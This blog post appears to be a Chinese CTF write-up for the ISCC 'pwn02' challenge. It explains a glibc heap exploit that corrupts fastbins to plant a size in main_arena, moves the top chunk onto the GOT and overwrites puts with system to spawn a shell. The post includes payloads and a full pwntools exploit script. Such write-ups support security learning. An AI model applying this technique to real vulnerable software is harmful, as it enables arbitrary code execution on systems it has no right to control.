isccpwn2[不能获取索引地址空间的堆溢出](main_arena结构,got表存放)

3 篇文章 0 订阅
2 篇文章 0 订阅

main_arena里面的内容

pwndbg> x /20xg 0x7fed08ed9af0
0x7fed08ed9af0 <_IO_wide_data_0+304>:	0x00007fed08ed8260	0x0000000000000000
0x7fed08ed9b00 <__memalign_hook>:	0x00007fed08b9ae20	0x00007fed08b9aa00
0x7fed08ed9b10 <__malloc_hook>:	0x0000000000000000	0x0000000000000000  这里是hook函数
0x7fed08ed9b20 <main_arena>:	0x0000000000000000	0x0000000000000000    0x10,0x20
0x7fed08ed9b30 <main_arena+16>:	0x0000000000000000	0x0000000002181050  0x30,0x40
0x7fed08ed9b40 <main_arena+32>:	0x0000000000000000	0x0000000000000000   0x50,0x60
0x7fed08ed9b50 <main_arena+48>:	0x0000000000000000	0x0000000000000000    0x70,0x80
0x7fed08ed9b60 <main_arena+64>:	0x0000000000000000	0x0000000000000000    unsortedbin, smallbins
0x7fed08ed9b70 <main_arena+80>:	0x0000000000000000	0x0000000000600dd0   largebins, topchunk
0x7fed08ed9b80 <main_arena+96>:	0x0000000000000000	0x00007fed08ed9b78

申请空间会从main_arena对应的地址处申请空间。
如申请0x40的chunk会从0x0000000002181050申请。如果申请0x50的chunk,因为对应位置处为0,所以从topchunk(0x0000000000600dd0)申请。
桥黑板:使用topchunk的好处是不必关心size的问题,直接申请。

利用过程:
1.通过堆溢出申请到任意的空间,free之后在next_chunk位置处写入size。
2.通过free把这个size写入到main_arena中
3.有了2写入的size可以申请到main_arena的地址空间,可以设置topchunk的指针,修改为got表的地址(这个地址在bss段,stdin,stdout,stderr前面)
4.然后从topchunk申请空间就能申请到这个地址(0x0000000000600dd0)的空间实现腹泻got表。

在这里插入图片描述


例题

➜  pwn02 checksec pwn02 
[*] '/home/tower/1t/u18/\xe8\xae\xb2\xe8\xaf\xbe/\xe9\x83\x91\xe5\xb7\x9e\xe5\xb7\xa1\xe8\xae\xb2/pwn02/pwn02'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

只开启了NX保护

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int *v3; // rsi
  __int64 v4; // rdx
  int v5; // ebx
  char *ptr[10]; // [rsp+0h] [rbp-70h]
  int sz; // [rsp+54h] [rbp-1Ch]
  int idx; // [rsp+58h] [rbp-18h]
  int cmd; // [rsp+5Ch] [rbp-14h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = 0LL;
  memset(ptr, 0, 0x50uLL);
  puts("1. malloc + gets\n2. free\n3. puts");
  while ( 1 )
  {
    while ( 1 )
    {
      printf("> ", v3);
      v3 = &cmd;
      __isoc99_scanf("%d %d", &cmd, &idx);
      v4 = (unsigned int)(idx % 10);
      idx %= 10;
      if ( cmd != 1 )
        break;
      v3 = &sz;
      __isoc99_scanf("%d%*c", &sz, v4);
      v5 = idx;
      ptr[v5] = (char *)malloc(sz);
      gets(ptr[idx]);
    }
    if ( cmd == 2 )
    {
      free(ptr[idx]);
    }
    else
    {
      if ( cmd != 3 )
        exit(0);
      puts(ptr[idx]);
    }
  }
}

堆溢出,free函数没有检查还有double free,但是没有提供edit项。
0x01 leak
泄露main_arena地址(在smallbin被free的时候会在fd,bk里面写入main_arena和nextchunk的地址,也就是连接成双向链表)https://blog.csdn.net/qq_38204481/article/details/82318227

malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
success("main_arena ==> "+hex(main_arena))

0x02在main_arena中设置合适的size

free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)

malloc_chunk(5,0x30,'A')

在这里插入图片描述
如上图这是一种常用的堆攻击方式free2个chunk会连成如上图最左边结构。
经过1次malloc之后就能让fastbin指向my_addr也就是可以再main_arena中写入size。
0x03申请到topchunk空间

malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)


malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)

跟0x02一样的手法把上次设置的size作为这次的size。
然后把puts函数的got表地址写入到topchunk上

0x04复写got表

free_chunk(5)
free_chunk(4)

malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0)) #这里为了设置bins里面为0,保证从topchunk中申请
malloc_chunk(0,0x30,'A')

malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)

exp.py

#!/usr/bin/python
#coding=utf-8
from pwn import *
r = process('./pwn02')
#r = remote("39.100.87.24",8102)
#context.terminal=["tmux","splitw","-h"]
def debug():
	gdb.attach(r,'''
	b *0x00000000040096F
	b *0x0000000004009AD
	b *0x00000000040098E
	''')
def malloc_chunk(idx,size,content):
	r.recvuntil('> ')
	r.sendline('1')
	r.sendline(str(idx))
	r.sendline(str(size))	
	r.sendline(str(content))

def free_chunk(idx):
	r.recvuntil('> ')
	r.sendline('2')
	r.sendline(str(idx))

def puts_chunk(idx):
	r.recvuntil('> ')
	r.sendline('3')
	r.sendline(str(idx))
	#return hex(u64(r.recvline('\n')[:-1].ljust(8,'\x00')))

##################leak
malloc_chunk(0,0x30,'aaaa')
malloc_chunk(1,0x30,'bbbb')
malloc_chunk(2,0x100,'AAAA')
malloc_chunk(3,0x30,'/bin/sh\x00')
free_chunk(2)
puts_chunk(2)
main_arena=u64(r.recvuntil("\n",drop=True).ljust(8,'\x00'))-88
success("main_arena ==> "+hex(main_arena))


fake_chunk=main_arena+0x18-0x10+8  #top chunk
free_chunk(1)
free_chunk(0)
payload='A'*0x30
payload+=p64(0x40)+p64(0x41)
payload+=p64(0x60)
malloc_chunk(4, 0x30,payload)

malloc_chunk(5,0x30,'A')
malloc_chunk(0,0x100,'A')
malloc_chunk(6,0x50,'aaaa')
malloc_chunk(7,0x50,'bbbb')
free_chunk(7)
free_chunk(6)
payload='A'*0x50
payload+=p64(0x60)+p64(0x61)
print hex(fake_chunk)
payload+=p64(fake_chunk)

malloc_chunk(8,0x50,payload)
malloc_chunk(9,0x50,'A')
payload='\x00'*0x38
payload+=p64(0x000000000600DD8-8)#puts_got
malloc_chunk(1,0x50,payload)
free_chunk(5)
free_chunk(4)

malloc_chunk(0,0x30,'A'*0x30+p64(0x40)+p64(0x41)+p64(0))
gdb.attach(r)
malloc_chunk(0,0x30,'A')

malloc_chunk(2,0x30,'\xb0\x06\x40\x00\x00\x00')#system_addr
puts_chunk(3)
r.interactive()


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值